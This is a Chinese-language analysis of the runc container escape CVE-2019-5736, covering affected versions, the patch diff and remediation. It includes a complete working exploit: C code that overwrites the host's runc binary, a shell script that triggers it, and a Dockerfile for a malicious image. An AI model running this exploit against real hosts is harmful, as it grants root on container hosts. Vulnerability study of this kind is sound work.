CVE-2019-5736 runc容器逃逸漏洞分析

栏目: 编程工具 · 发布时间: 5年前

内容简介:CVE-2019-5736runc是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI tool,目前Docker、Containerd和CRI-O等容器都运行在runc之上。

漏洞编号

CVE-2019-5736

漏洞简介

runc是一个根据OCI(Open Container Initiative)标准创建并运行容器的CLI tool,目前 Docker 、Containerd和CRI-O等容器都运行在runc之上。

该漏洞允许恶意容器(以最少的用户交互)覆盖主机上的runc二进制文件,从而获得root权限在主机上执行代码。

漏洞可能影响通过受影响版本Docker部署的应用、虚拟主机、云服务器。K8s集群,含有受影响runc版本的 Linux 发行版等。

漏洞影响

  • Ubuntu:runc 1.0.0~rc4+dfsg1-6ubuntu0.18.10.1之前版本
  • Debian:runc 0.1.1+dfsg1-2 之前版本
  • RedHat Enterprise Linux: docker 1.13.1-91.git07f3374.el7之前版本
  • Amazon Linux:docker 18.06.1ce-7.25.amzn1.x86_64之前版本
  • CoreOS:2051.0.0之前版本
  • Kops Debian 所有版本(正在修复)
  • Docker:18.09.2之前版本

利用条件

  1. 使用攻击者控制的镜像创建新容器
  2. 攻击者具有某容器的写入权限,通过docker exec进入容器中

环境搭建

  • CentOS
  • gcc make 等 C语言 编译环境
  • Docker 18.09.0

补丁分析

在github上进行 commit diff 对比:

CVE-2019-5736 runc容器逃逸漏洞分析 作者在commit描述中提到将 /proc/self/exe (当前进程)指向一个重要的二进制文件不是一件好事。

CVE-2019-5736 runc容器逃逸漏洞分析

CVE-2019-5736 runc容器逃逸漏洞分析

可以看出补丁中增加了克隆二进制文件的相关处理,并且在 nsexec() 函数中增加了判断是否是克隆文件的逻辑,如果不是克隆文件则抛出错误并退出。

漏洞分析

Docker 提供 exec 命令方便用户在宿主机与容器进行交互。如通过 docker run exec -it < CONTAINER ID> /bin/bash ,可以进入容器在容器中执行命令,此命令实际上执行了容器中的 /bin/bash 文件。我们可以在容器内覆盖目标文件为 #!/proc/self/exe ,如下图所示:

CVE-2019-5736 runc容器逃逸漏洞分析

又知Docker的很多操作都是通过runc去运行的,因此可以通过 docker exec 命令执行到被覆盖的目标文件,欺骗runc执行它自己。因此在容器外运行 docker run exec -it < CONTAINER ID> /bin/bash 会欺骗runc运行 /proc/self/exe (runc)如下图:

CVE-2019-5736 runc容器逃逸漏洞分析 此时 /bin/bash 已经被替换,并且成功欺骗runc执行runc。但runc进程不会一直驻留,因此编写一个 Shell 代码测试。

while true; do
  for f in $(ps -ef | awk '{print $2}'); do
    cmdline=$(cat /proc/${f}/cmdline)
     if [[ ${cmdline} == *runc* ]]; then
           echo   !!!!!!!!found runc in proc !!!!!!!!!!!!!
      fi
  done
done

在运行以上代码时通过 docker exec 执行容器中的 /bin/bash ,看到如下输出即说明欺骗成功:

CVE-2019-5736 runc容器逃逸漏洞分析

此时由于runc在使用中,无法直接覆盖runc,因此需要使用C语言编写PoC。通过 O_PATH 标志,忽略权限打开runc所在 /proc/${pid}/exe 的二进制文件,获取其文件标识符 fd 。然后在从文件标识符中( /proc/self/fd/${fd} )以 O_WRONLY (只写)标志重新打开文件,然后在一个循环中重复尝试将Payload写入文件标识符中,写入成功后在runc退出的时候会覆盖宿主机上的runc文件。再次使用runc(执行 docker exec 等)即可执行恶意代码。

利用效果如下,在容器中执行Shell覆盖 /bin/bash 文件并监控进程:

CVE-2019-5736 runc容器逃逸漏洞分析

在容器外执行容器内的 /bin/bash 后,容器内发现runc进程马上执行恶意代码写入Payload:

CVE-2019-5736 runc容器逃逸漏洞分析

查看效果:

CVE-2019-5736 runc容器逃逸漏洞分析

PoC

  • 拥有 docker exec 权限,可构造PoC如下:

payload.c

#include <stdio.h>
#include <unistd.h>

int main (int argc, char **argv) {
  execl("/usr/bin/touch", "touch", "/hacked_by_Tunan", NULL);
  return 0;
}

poc.c

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define PAYLOAD_MAX_SIZE 1048576
#define O_PATH 010000000
#define SELF_FD_FMT "/proc/self/fd/%d"

int main(int argc, char **argv) {
    int fd, ret;
    char *payload, dest[512];

    if (argc < 2) {
        printf("usage: %s FILE\n", argv[0]);
        return 1;
    }

    payload = malloc(PAYLOAD_MAX_SIZE);
    if (payload == NULL) {
        puts("Could not allocate memory for payload.");
        return 2;
    }

    FILE *f = fopen("./payload", "r");
    if (f == NULL) {
        puts("Could not read payload file.\n");
        return 3;
    }
    int payload_sz = fread(payload, 1, PAYLOAD_MAX_SIZE, f);

    for (;;) {
        fd = open(argv[1], O_PATH); // O_PATH打开文件不需要对文件有权限
        if (fd >= 0) {
            printf("Successfuly opened %s at fd %d\n", argv[1], fd);
            snprintf(dest, 500, SELF_FD_FMT, fd);// 格式化字符串,将文件标识符写入dest中
            puts(dest);// 写入缓冲区
            int i;
            for (i = 0; i < 9999999; i++) {
                fd = open(dest, O_WRONLY | O_TRUNC); // 以只写的形式再次打开缓冲区中的内容,拿到fd(文件标识符)
                if (fd >= 0) {
                    printf("Successfully openned runc binary as WRONLY\n");
                    ret = write(fd, payload, payload_sz); // 写入文件标识符
                    if (ret > 0) printf("Payload deployed\n");
                    break;
                }
            }
            break;
        }
    }
    return 0;
}

poc.sh

#!/bin/bash

function poc() {
    echo '#!/proc/self/exe' > /bin/bash
    chmod +x /bin/bash

    while true; do
        for pid in $(ps -ef | awk '{print $2}'); do
            cmdline=$(cat /proc/${pid}/cmdline)
            if [[ ${cmdline} == *runc* ]]; then
                echo !!!!!!!!runc was found !!!!!!!!!!!!!
                echo pid:${pid}
                echo starting exploit
                ./poc /proc/${pid}/exe
                echo finish! run docker exec -it <CONTAINER ID> /bin/bash to see the effect
            fi
        done
    done
}

exec 2>/dev/null
poc
  • 如果没有 docker exec 权限,可构造恶意image,增加Dockerfile:
FROM ubuntu
RUN apt-get update
RUN apt-get install -y build-essential
ADD . /poc
WORKDIR /poc
RUN make
CMD ["./poc.sh"]

修复建议

  • Docker:更新Docker到18.09.2及以上版本
  • Ubuntu:更新runc到runc 1.0.0~rc4+dfsg1-6ubuntu0.18.10.1及以上版本
  • Debian:更新runc到runc 0.1.1+dfsg1-2及以上版本
  • CoreOS:更新到2051.0.0及以上版本

参考

[1] https://www.anquanke.com/post/id/170762

[2] https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b#diff-c76fda6ad413becbb91b3db6f99f0f31

[3] https://github.com/feexd/pocs/blob/master/CVE-2019-5736/exploit.c

以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

日赚500元

日赚500元

董俊峰 / 2008-5 / 20.00元

《日赚500元:揭开网络赚钱的秘密》是一本大学生网络创业必看的图书,一本想在网络上创业的人必看的图书。懂懂团队第一个操作Google FireFox下载项目,第一个操作“域名停靠”项目。第一个操作Google账号推介项目。首次提出“网赚”这个概念,并创造性地将“网赚”的过程分为3个阶段。《日赚500元:揭开网络赚钱的秘密》揭开了网络上一些行为的本质。一起来看看 《日赚500元》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具